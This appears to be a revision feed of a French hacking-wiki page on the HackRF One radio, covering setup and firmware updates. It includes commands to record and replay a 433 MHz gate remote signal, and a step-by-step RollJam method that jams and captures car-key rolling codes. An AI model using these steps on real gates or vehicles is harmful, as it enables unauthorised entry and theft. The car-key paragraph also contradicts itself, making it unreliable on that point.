Le jamming est une technique de brouillage visant à perturber les fréquences comportant des informations, en les submergeant avec du bruit. C'est &amp;lt;b&amp;gt;le rapport signal sur bruit&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
En émettant du bruit sur la fréquence utilisé par une clé de voiture, le signal se retrouvera ainsi perdu et ne pourra ainsi pas être reconnu.&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
Méthodologie de l’attaque :&lt;br /&gt;
*Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence de déverrouillage de notre voiture.&lt;br /&gt;
*La victime tente de déverrouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.&lt;br /&gt;
*Le signal est capturé et enregistré.&lt;br /&gt;
*La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.&lt;br /&gt;
*Le brouillage s’arrête et le premier signal est lancé ce qui déverrouille la voiture.&lt;br /&gt;
&lt;br /&gt;
Le 2eme signal (&amp;lt;b&amp;gt;Rolling Code&amp;lt;/b&amp;gt;) émis par la victime est enregistré. Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide, l'attaquant pourra donc déverrouiller la voiture par la suite.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
=== Attaque sur Drone (DJI Mavic Mini) ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93527</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93527"/>
		<updated>2023-12-02T10:51:02Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Car Key Replay Attack */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le HackRF One de Great Scott Gadgets est une radio définie par logiciel capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération, HackRF One est un matériel open source qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils HackRF sont livrés avec un micrologiciel sur la mémoire flash SPI. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du firmware (hackrf_one_usb.bin) dans le répertoire firmware-bin de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez compiler le vôtre à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour Jawbreaker, utilisez hackrf_jawbreaker_usb.bin. Si vous compilez à partir des sources, le fichier s'appellera hackrf_usb.bin.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Lorsque vous écrivez une image de micrologiciel sur la mémoire flash SPI, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;quot;.bin&amp;quot;.&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la mémoire flash SPI, vous devrez peut-être réinitialiser le dispositif HackRF en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant HACKRF_ERROR_NOT_FOUND, il s'agit souvent d'un problème de permissions dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le firmware installé dans la mémoire flash SPI a été endommagé ou si vous programmez un HackRF fait maison pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus. Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le HackRF en mode de démarrage DFU.&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le firmware en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;quot;.bin&amp;quot; dans la mémoire flash SPI.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le mode de démarrage DFU n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur LPC4330 du HackRF est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, HackRF démarre à partir de la mémoire flash SPI (SPIFI). Il est également possible de démarrer HackRF en mode DFU (USB). En mode de démarrage DFU, le HackRF procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme DFU (Device Firmware Update) via USB, puis exécute ce code à partir de la RAM. Le SPIFI est normalement inutilisé et non modifié en mode DFU.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le HackRF One en mode DFU, maintenez le bouton DFU enfoncé tout en l'allumant ou en appuyant sur le bouton RESET et en le relâchant. Relâchez le bouton DFU lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le HackRF One est prêt à recevoir le micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le Jawbreaker en mode DFU, court-circuitez deux broches sur l'une des en-têtes &amp;quot;BOOT&amp;quot; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches 1 et 2 de l'en-tête P32 du Jawbreaker. L'en-tête P32 est étiqueté &amp;quot;P2_8&amp;quot; sur la plupart des Jawbreaker mais peut être étiqueté &amp;quot;2&amp;quot; sur les prototypes. La broche 1 est étiquetée &amp;quot;VCC&amp;quot;. La broche 2 est la broche centrale. Après le démarrage DFU, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le Jawbreaker est prêt à recevoir un micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de micrologiciel dont le nom de fichier se termine par &amp;quot;.dfu&amp;quot; par DFU, et non un micrologiciel se terminant par &amp;quot;.bin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du firmware du HackRF (prior to release 2021.03.1) nécessitent une étape supplémentaire pour programmer un flux binaire dans le CPLD.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du CPLD, mettez d'abord à jour le microprogramme flash SPI, libhackrf et hackrf-tools.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le CPLD a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
=== Attaque sur Drone (DJI Mavic Mini) ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93526</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93526"/>
		<updated>2023-12-02T10:49:33Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Car Key Replay Attack */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le HackRF One de Great Scott Gadgets est une radio définie par logiciel capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération, HackRF One est un matériel open source qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils HackRF sont livrés avec un micrologiciel sur la mémoire flash SPI. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du firmware (hackrf_one_usb.bin) dans le répertoire firmware-bin de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez compiler le vôtre à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour Jawbreaker, utilisez hackrf_jawbreaker_usb.bin. Si vous compilez à partir des sources, le fichier s'appellera hackrf_usb.bin.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Lorsque vous écrivez une image de micrologiciel sur la mémoire flash SPI, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;quot;.bin&amp;quot;.&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la mémoire flash SPI, vous devrez peut-être réinitialiser le dispositif HackRF en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant HACKRF_ERROR_NOT_FOUND, il s'agit souvent d'un problème de permissions dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le firmware installé dans la mémoire flash SPI a été endommagé ou si vous programmez un HackRF fait maison pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus. Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le HackRF en mode de démarrage DFU.&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le firmware en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;quot;.bin&amp;quot; dans la mémoire flash SPI.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le mode de démarrage DFU n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur LPC4330 du HackRF est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, HackRF démarre à partir de la mémoire flash SPI (SPIFI). Il est également possible de démarrer HackRF en mode DFU (USB). En mode de démarrage DFU, le HackRF procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme DFU (Device Firmware Update) via USB, puis exécute ce code à partir de la RAM. Le SPIFI est normalement inutilisé et non modifié en mode DFU.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le HackRF One en mode DFU, maintenez le bouton DFU enfoncé tout en l'allumant ou en appuyant sur le bouton RESET et en le relâchant. Relâchez le bouton DFU lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le HackRF One est prêt à recevoir le micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le Jawbreaker en mode DFU, court-circuitez deux broches sur l'une des en-têtes &amp;quot;BOOT&amp;quot; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches 1 et 2 de l'en-tête P32 du Jawbreaker. L'en-tête P32 est étiqueté &amp;quot;P2_8&amp;quot; sur la plupart des Jawbreaker mais peut être étiqueté &amp;quot;2&amp;quot; sur les prototypes. La broche 1 est étiquetée &amp;quot;VCC&amp;quot;. La broche 2 est la broche centrale. Après le démarrage DFU, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le Jawbreaker est prêt à recevoir un micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de micrologiciel dont le nom de fichier se termine par &amp;quot;.dfu&amp;quot; par DFU, et non un micrologiciel se terminant par &amp;quot;.bin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du firmware du HackRF (prior to release 2021.03.1) nécessitent une étape supplémentaire pour programmer un flux binaire dans le CPLD.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du CPLD, mettez d'abord à jour le microprogramme flash SPI, libhackrf et hackrf-tools.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le CPLD a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
=== Attaque sur Drone (DJI Mavic Mini) ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93525</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93525"/>
		<updated>2023-12-02T10:46:16Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Options */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le HackRF One de Great Scott Gadgets est une radio définie par logiciel capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération, HackRF One est un matériel open source qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
